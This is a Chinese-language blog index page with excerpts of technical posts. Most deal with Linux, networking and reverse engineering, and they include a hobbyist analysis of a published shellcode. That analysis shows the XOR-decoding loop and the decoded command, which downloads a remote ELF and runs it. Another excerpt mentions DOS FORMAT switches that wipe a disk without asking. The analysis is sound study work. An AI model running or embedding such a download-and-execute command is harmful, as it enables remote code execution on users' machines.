PIXNET Logo登入

Elegance

跳到主文

My life,my experience...

部落格全站分類:數位生活

  • 相簿
  • 部落格
  • 留言
  • 名片
  • 3月 19 週二 202412:50
  • Devcore shellcode 2024

https://godbolt.org/z/M1q3G738M
最近看到devcore裡的大大寫了一個shellcode
好奇來玩一下順便分析. 
用gcc編譯好後,餵給 peda-gdb or objdump -D -M intel
  4005d4:       68 4e 00 00 00             push   0x4e
  4005d9:       5b                                 pop    rbx
  4005da:       66 81 ec 00 01             sub    sp,0x100
  4005df:       4c 8d 05 28 00 00 00    lea    r8,[rip+0x28]        
  4005e6:       54                      push   rsp
  4005e7:       5a                      pop    rdx
  4005e8:       80 fb ff               cmp    bl,0xff
  4005eb:       74 0d                 je     4005fa <shellcode+0x3a>
  4005ed:       41 8a 04 18       mov    al,BYTE PTR [r8+rbx*1]
  4005f1:       34 cc                  xor    al,0xcc
  4005f3:       88 04 1c             mov    BYTE PTR [rsp+rbx*1],al
  4005f6:       fe cb                   dec    bl
  4005f8:       eb ee                  jmp    4005e8 <shellcode+0x28>
  4005fa:       48 31 c0             xor    rax,rax
其中比較關鍵的一段是 0x4005e8 開始的這段迴圈
要跑0x4f(00~4e)次,這段一直在取值(密文)從shellcode後面
這裡開始bb ab a9 b8 ec ....
一開始取的值是[r8+rbx]
R8 : 0x40060e
rbx:0x4e
r8+rbx:0x40065C
這位置的值是7c
其實迴圈前面幾次取得值已經超出shellcode範圍
因為shellcode最後一個addr是
400643: a9 ab e6 aa cc
不知道為什麼一開始要取超出這個範圍
迴圈之後會從shellcode尾巴往回取值,
然後和0xcc做xor運算,看起來是在stack構造字串
wget -q conf.devco.re/2024/egg.elf;chmod +x ./eg*f;./eg*f
不想一直跑迴圈的話,可以直接在 xor rax,rax 的位址處下斷點.
最後再透過execve syscall來執行這行指令.
然後下載的egg.elf看起來就只是印字串而已.
(繼續閱讀...)
文章標籤

fvalinux 發表在 痞客邦 留言(0) 人氣(13)

  • 個人分類:
▲top
  • 3月 05 週二 202407:52
  • 解決wget遇到Let's Encrypt爆Error的訊息

自從大量web server採用Let's Encrypt以後

如果你的Linux系統太舊沒有安裝相應的root certificate

你的 web client就會因為安全因素,拒絕承認(怕中間人攻擊)
wget會噴出 Unable to locally verify the issuer's authority.


我的wget版本很奇怪,不會去讀取這個檔案

/etc/ssl/certs/ca-certificates.crt

所以就算裝了最新的

https://curl.haxx.se/ca/cacert.pem

也沒有用.

網路上看到有些人更新 ca-certificates 套件也沒用.

看了套件內容,憑證安裝的位置是 /usr/share/ca-certificates/mozilla/
而/etc/ssl/certs/底下的PEM檔案幾乎都是soft link到這邊來.




於是直接把wget餵給strace來觀察runtime呼叫了哪些system call

然後stat,open了哪些檔案.(先不衝動 trace code :)

strace wget https://community.letsencrypt.org/ &> strace_wget.txt

最後在socket,connect,write這些關鍵syscall附近找到了問題點.

當wget讀取了web server給的ca憑證後要比對時

它stat了/usr/lib/ssl/certs/4042bcee.0

以及/usr/lib/ssl/certs/8d33f237.0

賞試get file status都沒有找到該檔案.

當第1個讀取失敗就賞試讀第2個
於是用chrome把這個網站的 ISRG Root X1 PEM證書export
存成4042bcee.0然後放上去就解決了.


這位置是一個soft link

/usr/lib/ssl/certs -> /etc/ssl/certs
另外如果是遇到
Issued certificate has expired.
憑證過期的問題
我是升級 ca-certificates 套件就解決了
apt update && apt install ca-certificates

最後還是好奇去翻了一下 wget ssl 
( 位於 wget/src/openssl.c 的 SSL_get_verify_result() )
它是把證書驗證手續丟給openssl lib的
SSL_get_verify_result API去處理的
(繼續閱讀...)
文章標籤

fvalinux 發表在 痞客邦 留言(0) 人氣(13)

  • 個人分類:
▲top
  • 11月 17 週五 202321:06
  • UDP協定的 ESTABLISHED 狀態

雖然大家都知道udp是stateless的協定
但實作中在sudo netstat -nap裡還是有可能會看到
UDP協定的ESTABLISHED狀態
查了一下,原來是建立udp socket時用了connect() api
執行時會去呼叫對應的 connect() syscall [1]
才會導致這個結果,但是udp connect()並不會有三向式交握.
之前分析了chrome封包發現,chrome偶爾會 TLS over UDP(HTTP/3)
尤其實是在連線google自家的server.
e.g.
udp        0      0 192.168.X.X:43870     172.217.163.45:443      ESTABLISHED 
3788/chrome --type=
我想可能是為了效率吧,畢竟網路分層架構,TLS(SSL)也沒有規定一定要over tcp
(繼續閱讀...)
文章標籤

fvalinux 發表在 痞客邦 留言(0) 人氣(17)

  • 個人分類:
▲top
  • 10月 29 週日 202322:15
  • 《圖解Linux核心工作原理》

最近看完了《圖解Linux核心工作原理》
裡面有些堪誤,但中文出版社沒有出堪誤表
老實說,有些章節滿複雜的
作者寫了很多user space程式(c/bash/另外有幾行asm)來測試系統效能
有些平常沒注意到的欄位數值(e.g.,free的shared/buffers/cached)
也有比較詳細的解說.
這本書內容不錯,但可惜沒有收錄最想看的網路子系統.
以前在學校圖書館租過這本《輕輕鬆鬆學會Linux Kernel Module 及TCP/IP 程式設計》
有對網路子系統比較詳細的解說,像是 sk_buff 就是核心在存封包實際用的結構.
(繼續閱讀...)
文章標籤

fvalinux 發表在 痞客邦 留言(0) 人氣(1)

  • 個人分類:
▲top
  • 8月 02 週三 202304:46
  • Format指令詳細的未公開參數

之前在網路上不小心踢到dos6的 source code
又突然想到之前寫過的一篇文章 format 未公開參數
就想說去翻翻asm code看有沒有其它的秘密.
結果一看後發現,果然證實了另外2個!!!
除了 /AUTOTEST 以外,還有 /SELECT 以及 /BACKUP
都有相同的效果,不問你就直接割式化
再加上/Q的話,你的資料瞬間就GG了...
(繼續閱讀...)
文章標籤

fvalinux 發表在 痞客邦 留言(0) 人氣(7)

  • 個人分類:
▲top
  • 3月 16 週四 202311:45
  • HackMe的ROP1題目

把這個題目抓下來用checksec檢查
會發現沒有開啟canary跟PIE(ASLR)保護
但是有開啟DEP (aka W^X)
因此可以試著用ROP方法來饒過
最簡單的方式是用ropgadget來產生一連串的gadget來攻擊.
(繼續閱讀...)
文章標籤

fvalinux 發表在 痞客邦 留言(0) 人氣(7)

  • 個人分類:
▲top
  • 3月 06 週一 202317:19
  • 不規格陣列 Jagged Array

最近在看一本 O'Reilly 的 《Understanding and Using C Pointers》
(Errata堪誤有點多,最好塔配一起看)
(繼續閱讀...)
文章標籤

fvalinux 發表在 痞客邦 留言(0) 人氣(4)

  • 個人分類:
▲top
  • 9月 16 週五 202217:08
  • CIH的Hello World

最近看到CIH寫的一個Hello World
看起來還滿有趣的,就拿來reverse一下
可以用線上工具 godbolt 或是本機 objdump -D -M intel <prog_name> 做靜態分析.
(繼續閱讀...)
文章標籤

fvalinux 發表在 痞客邦 留言(0) 人氣(19)

  • 個人分類:
▲top
  • 6月 21 週二 202204:38
  • 用grep指令玩spelling bee

spelling_bee.png
Spelling bee好像是wordle官方出的新遊戲
今天才開始玩看看
遊戲一開始,會先給你幾個字母
你輸入的單字只能包含這些字母
然後還要包含中間的字母
最後一個條件是單字至少要4位長度.
(繼續閱讀...)
文章標籤

fvalinux 發表在 痞客邦 留言(0) 人氣(1)

  • 個人分類:
▲top
  • 4月 27 週三 202201:16
  • 用grep指令玩wordle game

photo_2022-04-27_01-30-24.jpg
最近wordle刮起全球一陣旋風,所以想說也來玩看看!!
首先你要有個字典檔用來搜尋
可以用Linux內建的/usr/share/dict/words
或者是用wiktionary提供的常見字典檔
我是用wiktionary提供的,然後再用指令
grep -P '^\w{5}$' words.txt > five.txt
就可以取得常見的5碼單字了
Download five.txt
(繼續閱讀...)
文章標籤

fvalinux 發表在 痞客邦 留言(0) 人氣(56)

  • 個人分類:
▲top
12...8»

近期文章

  • Devcore shellcode 2024
  • 解決wget遇到Let's Encrypt爆Error的訊息
  • UDP協定的 ESTABLISHED 狀態
  • 《圖解Linux核心工作原理》
  • Format指令詳細的未公開參數
  • HackMe的ROP1題目
  • 不規格陣列 Jagged Array
  • CIH的Hello World
  • 用grep指令玩spelling bee
  • 用grep指令玩wordle game

文章彙整

最新迴響

  • [24/02/21] fvalinux 於文章「bash之命令執行的順序...」留言:
    補充:在alias跟function之間,應該要多出一個ke...
  • [15/12/29] fvalinux 於文章「Unix Shell...」留言:
    更正一下,再次翻這本書時,只把stderr流進pipe 正...
  • [15/12/21] fvalinux 於文章「真好玩的Netcat......」留言:
    原來telnet也可以直接吃pipe丟進來的資料,不過要先用...
  • [15/10/06] fvalinux 於文章「bash之命令執行的順序...」留言:
    補充一下 第二順位的alias 當你的指令搭配xargs使...
  • [15/05/26] fvalinux 於文章「TraceRoute怪象?...」留言:
    2015年註記 http://superuser.com/...
  • [14/06/21] Fva... 於文章「Root Name Server...」留言:
    目前root dns server有3個instance放在...
  • [14/06/21] Fva... 於文章「Root Name Server...」留言:
    http://upload.wikimedia.org/wi...
  • [14/04/27] fvalinux 於文章「查詢、刪除Windows系統下的DNS ...」留言:
    補充一下 root DNS幫你查詢時,運作有分成itera...
  • [13/05/03] fvalinux 於文章「使用GPG驗證檔案的方法...」留言:
    http://www.cyberciti.biz/faq/p...
  • [12/07/27] 訪客 於文章「Unix Shell...」留言:
    忘了記錄一下.. 要同時將std out跟std err輸...

參觀人氣

  • 本日人氣:
  • 累積人氣: